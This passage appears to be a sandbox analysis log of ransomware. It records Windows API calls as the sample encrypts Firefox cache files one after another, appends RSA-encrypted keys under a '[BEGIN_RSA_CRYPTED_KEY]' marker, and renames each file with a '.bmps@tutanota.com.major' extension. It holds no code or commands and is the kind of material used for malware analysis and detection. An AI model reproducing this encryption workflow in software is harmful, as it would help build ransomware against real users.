"c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\491decd15f6da1f39c25e411b302418495f1b28f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\491DECD15F6DA1F39C25E411B302418495F1B28F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\491decd15f6da1f39c25e411b302418495f1b28f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.911] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.911] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\48D18A403364708B74676D0C5068809EE47BCF43", dwFileAttributes=0x80) returned 1 [0275.912] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xb19, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xb19, lpOverlapped=0x0) returned 1 [0275.913] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2841, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.913] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0xb19, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb19, lpOverlapped=0x0) returned 1 [0275.913] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb19 [0275.914] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.914] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.914] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.914] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.914] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.914] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0M1+eYLVvyBHy4dN2iqt6RG+JXrLAJzVd949wEW6hYVkVy9tUNFuQr+maeYb/lgn\nM2xZN3StlHuLpGbNdQ5tELVO/9ZMdko9bhbd4d7mfrcEt+4HlWRairut9vcf6g4V\nnjZxk3pgnduU9cbc3hRRPtAIVIGJ4Uo0EMPt4JoLH1o/OBPRxpl4OZwVqACbqee+\nZ5kIq0fpocHcdxpgJ7oLGvwsp/IEWBtT5RBg+TSoD4KwbrBSA/tE2evA/ED81W0D\n1jPKhnf+cj7UVjJylw223RVKiUYWP26FB8GCxmMsbtWhAeNhDfu+CVQAb/gWVBWL\nyy+AO//h6fGdxBPf52gwgA==\n", pcchString=0x2e3f9a8) returned 1 [0275.914] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.915] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.915] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.915] CloseHandle (hObject=0x1b84) returned 1 [0275.915] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\48D18A403364708B74676D0C5068809EE47BCF43" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\48d18a403364708b74676d0c5068809ee47bcf43"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\48D18A403364708B74676D0C5068809EE47BCF43.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\48d18a403364708b74676d0c5068809ee47bcf43.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.979] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.979] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4851C58D9C640F303B306BABB9DBE67261F15F08", dwFileAttributes=0x80) returned 1 [0275.979] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xa30, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xa30, lpOverlapped=0x0) returned 1 [0275.988] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.988] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa30, lpOverlapped=0x0) returned 1 [0275.989] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa30 [0275.989] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.989] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.990] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.990] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.990] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.990] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9G2rlAFTycej6v3sTXTHevwnqoNjlXHelK4W+aD0XnCYoKF3NIlFipyrkeMIgbUx\n4KTkzePWeqqzcPo7LoalhgPe7a4oLEkBA04BL6Hi1haSwBqDeLOclu3L+qq4KzxN\nNUXaDXQkgaOGDtLlN34BmSo4uCT8+/y014okbWik+AmNGcx3E54WFoWkiYo9Yxex\nzcR/XAlmCVn5FDpEJnfzo/KIwcDghbpI5dkMCRbyER8A2d0y7mg61Br+4IRm6X9I\n8TpxUvh2A9oL1rZNWlVNOgSvyuK4r5hJL6aShjU17RG1+KM8jGb9PnTLJc2ZgHaT\nUL8nTUuq0O8OKn+GS0ziNQ==\n", pcchString=0x2e3f9a8) returned 1 [0275.990] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.991] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.991] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.991] CloseHandle (hObject=0x1b84) returned 1 [0275.991] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4851C58D9C640F303B306BABB9DBE67261F15F08" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4851c58d9c640f303b306babb9dbe67261f15f08"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4851C58D9C640F303B306BABB9DBE67261F15F08.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4851c58d9c640f303b306babb9dbe67261f15f08.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0275.994] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0275.994] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\483516ABA24A455AA0EF7181B6F831FC7494E7A3", dwFileAttributes=0x80) returned 1 [0275.994] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x521, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x521, lpOverlapped=0x0) returned 1 [0275.996] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1313, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0275.996] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x521, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x521, lpOverlapped=0x0) returned 1 [0275.997] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x521 [0275.997] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.997] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0275.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0275.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0275.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DWp/Sz4J/UWa8NjrfLuWKGipHxeMAru1uM/uKYtHnLmxkb0qOoRiLaBIE7RfFSXe\nyLU193MGLx8c5jhsdzd1xjkL9yes6ZYaVxIVY+5chaToVoZQjmrKM5ChMKpTUdHS\n1v6CU+KvQ0B3xmezSUZenpHpRL1v6s8p/TD3XfymvHw7MctGEQafvsXbOM2IR9j+\njfMTzWN1JsjkRGpVF9oM/SM0QZQxSB+7IZgvmQaCuYcQztbDaQDHTsua4RzYvkk4\ntrGIy0+WYX76OlWV/gEykLd1BpxaVAxZoKCHWj3InVZxyw5pHovwwpUJG008IWHz\nAccmGgzYyOgC6ZElsv9mTw==\n", pcchString=0x2e3f9a8) returned 1 [0275.998] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0275.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0275.998] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0275.999] CloseHandle (hObject=0x1b84) returned 1 [0275.999] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\483516ABA24A455AA0EF7181B6F831FC7494E7A3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\483516aba24a455aa0ef7181b6f831fc7494e7a3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\483516ABA24A455AA0EF7181B6F831FC7494E7A3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\483516aba24a455aa0ef7181b6f831fc7494e7a3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0276.001] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0276.002] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47D194343D81BB87B63E3776058D0709ADA9FE0B", dwFileAttributes=0x80) returned 1 [0276.002] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0xba06, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0xba06, lpOverlapped=0x0) returned 1 [0276.069] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-47622, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0276.069] WriteFile (in: hFile=0x1b84, lpBuffer=0x354ba58*, nNumberOfBytesToWrite=0xba06, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354ba58*, lpNumberOfBytesWritten=0x2e3f9b4*=0xba06, lpOverlapped=0x0) returned 1 [0276.070] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xba06 [0276.070] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.070] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0276.070] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0276.070] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0276.071] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="B6llob9aM762ivMRzCZ9La3Zg93rVOJuBGZungueD+uNpsJSWn8uj/YH3WpCuvyp\npKdaOOzpuCIQ/3WNZ2mFuITVSXy8pMKu2xQhoZY1bPETZsyUr4KmiaiejbbNO5Pe\nJVgWzjrI/1OgGlv6GduM06brDJJU0ylLFI4bSrBJWLB/s9UZ+A0fJviUDEse61jj\n1CaCZif+JbHGVtXUsBtxpr+gBTzy/Jf/waARhHB+u8vcli3WrnEsjX13TjII5wFV\nVBPEzkn/UrGoxN2LTkGekLP4o+iG61EiB/Ug2rpw5UWj1KDESF5NSvbjZOHCeGgt\n2tyGM3VThvI+el9+ZPRfbw==\n", pcchString=0x2e3f9a8) returned 1 [0276.071] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0276.071] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.071] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.071] CloseHandle (hObject=0x1b84) returned 1 [0276.071] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47D194343D81BB87B63E3776058D0709ADA9FE0B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47d194343d81bb87b63e3776058d0709ada9fe0b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47D194343D81BB87B63E3776058D0709ADA9FE0B.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\47d194343d81bb87b63e3776058d0709ada9fe0b.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0276.073] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0276.073] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4764521F6FB23F694297C1319251B844AE508AB7", dwFileAttributes=0x80) returned 1 [0276.074] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0276.075] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0276.075] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0276.076] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0276.076] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.076] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.076] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0276.076] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0276.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0276.077] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Z3rZQ4OAKYYpQqug+QqXJP9ghOhSqc9VDMDKlm3Tf2MfCai9y09AIM9+ByOOt8Ge\noWeILq3W3Qz1sx+JkpytIHI7FJyONRjbWDL3+yrjlvmIchy5+yauc6/qcWI951jE\nGcbdz0vjp209ERtw8TkRXAfut7u4RZ5+eSR6PHTa8/t7I4YLbcYhmggu2E2OjkIj\npR+RuZblQUA2fHDS4jcLj7u30DE1TvYrejTE3/kQ+uiH6bW0tUFwH6ZD3ro29/jk\nv37cgcO7xYNX+jDB2SlMmHofJ6qUcTcocHuXzXHBbjF8AZ9TWlyX6VDjzAhaEz0t\nIufC0/fo4433CgCc62roLQ==\n", pcchString=0x2e3f9a8) returned 1 [0276.077] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0276.077] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.077] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.077] CloseHandle (hObject=0x1b84) returned 1 [0276.077] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4764521F6FB23F694297C1319251B844AE508AB7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4764521f6fb23f694297c1319251b844ae508ab7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4764521F6FB23F694297C1319251B844AE508AB7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4764521f6fb23f694297c1319251b844ae508ab7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0276.082] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0276.082] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\47005A21A17AFE54769573B5138702C9FB8E0E87", dwFileAttributes=0x80) returned 1 [0276.083] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0276.096] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0276.096] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0276.097] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0276.097] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0276.097] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0276.097] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0276.098] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0276.098] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0276.098] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OpP3Vg+TJQhfn+QoZcu/s0PFDnvMBKLdDIWYyrpYu+pT0qZo0dIiAkHta7txOjq+\nnUGcdcTGew/FOdhEMithtn3TytvCaMjGGvB6THewa765I0EG+Q/VjkkXo3zKCihn\nt/zeXhX68nf9qwJq9aDkHARsywjdZuKTFZ6wXYiSGhFxG3KEc+OBpwO0/81ui1MF\nvaS6rks/ANRsczla/rXnOMTy01JelSB06L8OeiADO5oV/IxmgwjI1DR2h3WjCr/+\n7tiNffEwRnrk3LpH3u3UIElhsx/aHEER6RmRjH5xusMNRPhjprfNIoM/FB0UAJFM\no/Fz0g3oL+VcGtQtfq8YuA==\n", pcchString=0x2e3f9a8) returned 1 [0276.098] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, 